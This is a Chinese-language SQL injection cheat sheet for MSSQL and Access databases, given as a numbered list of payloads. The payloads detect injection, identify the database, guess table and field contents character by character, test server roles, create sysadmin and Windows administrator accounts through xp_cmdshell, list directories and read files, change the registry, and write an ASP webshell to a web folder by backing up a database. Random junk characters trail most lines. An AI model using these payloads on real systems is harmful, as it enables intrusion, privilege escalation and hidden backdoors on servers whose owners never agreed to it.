1.判断是否有注入;and 1=1 ;and 1=2 O!Wd5Y
2.初步判断是否是mssql ;and user>0 [<wbbvXR
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3.注入参数是字符'and [查询条件] and ''=' ~SjZk|
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' [rreFSy#@
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5.判断数据库系统 ]]cYLaq(
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;and (select count(*) from sysobjects)>0 mssql -qe bQv
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;and (select count(*) from msysobjects)>0 access \NX Q
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 (tl}q3U
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 s6=YV0w(
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 )Hf~d=GG
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9.(1)猜字段的ascii值(access) ~2/{3m{3 A
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 wH!#aB>kP
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(2)猜字段的ascii值(mssql) [BBpQN.^q6
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 [U_[</L7
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10.测试权限结构(mssql) 98*x 'Wp
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- {TL +7kiX/
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ma9ADFFT
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- wO"GtVd
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- jX|=n.#q
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Ko}2%4on
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ?Bu}.0ku-$
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;and 1=(select IS_MEMBER('db_owner'));-- a{_ KSg
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11.添加mssql和系统的帐户 Ky&KF0
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;exec master.dbo.sp_addlogin username;-- )C}KR`"
;exec master.dbo.sp_password null,username,password;-- y~p4">]
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- uMDtdC8
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;exec master.dbo.xp_cmdshell 'net user username password #` +]{4hR
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- zKJ.Tj W
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- L*O>IQh2
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- p!GZCf,
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12.(1)遍历目录 a)S(p1BGg
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;create table dirs(paths varchar(100), id int) ss;
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;insert dirs exec master.dbo.xp_dirtree 'c:\' eKJ:?Lxv;
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;and (select top 1 paths from dirs)>0 leIy|K>\m
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) jnDQ{D
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(2)遍历目录 cdN/Qy
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?k::tNv0
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 5&G
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Nor`c+,4
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 55,=[
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 mw Z'=H
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13.mssql中的存储过程 v}f&q!
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xp_regenumvalues 注册表根键, 子键 +/w(K,
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 O!yakU+
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xp_regread 根键,子键,键值名 }ymc5-
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;exec xp_regread %P(;8sS
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 n+X1AOE[L
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xp_regwrite 根键,子键, 值名, 值类型, 值 [qW<D/@
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 k3C"
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @c0n2 Xcr
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xp_regdeletevalue 根键,子键,值名 2|$lk8 /,
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 z2.*#xTZn
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ([[)Ub$U
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14.mssql的backup创建webshell c%jsu"
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use model s c5\( b
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create table cmd(str image); fV*}c`
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insert into cmd(str) values (''); wH+FFXGJs
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backup database model to disk='c:\l.asp'; t3pZjdLJd
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15.mssql内置函数 (W7;}g ysh
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;and (select @@version)>0 获得Windows的版本号 aB=vu=hF
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;I[ht
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;and (select user_name())>0 爆当前系统的连接用户
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;and (select db_name())>0 得到当前连接的数据库 lTxY6vi
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16.简洁的webshell m5X3{[a:
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use model 5dg-d\6S
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create table cmd(str image); 4kWg>F3
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insert into cmd(str) values (''); -
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backup database model to disk='g:\wwwtest\l.asp';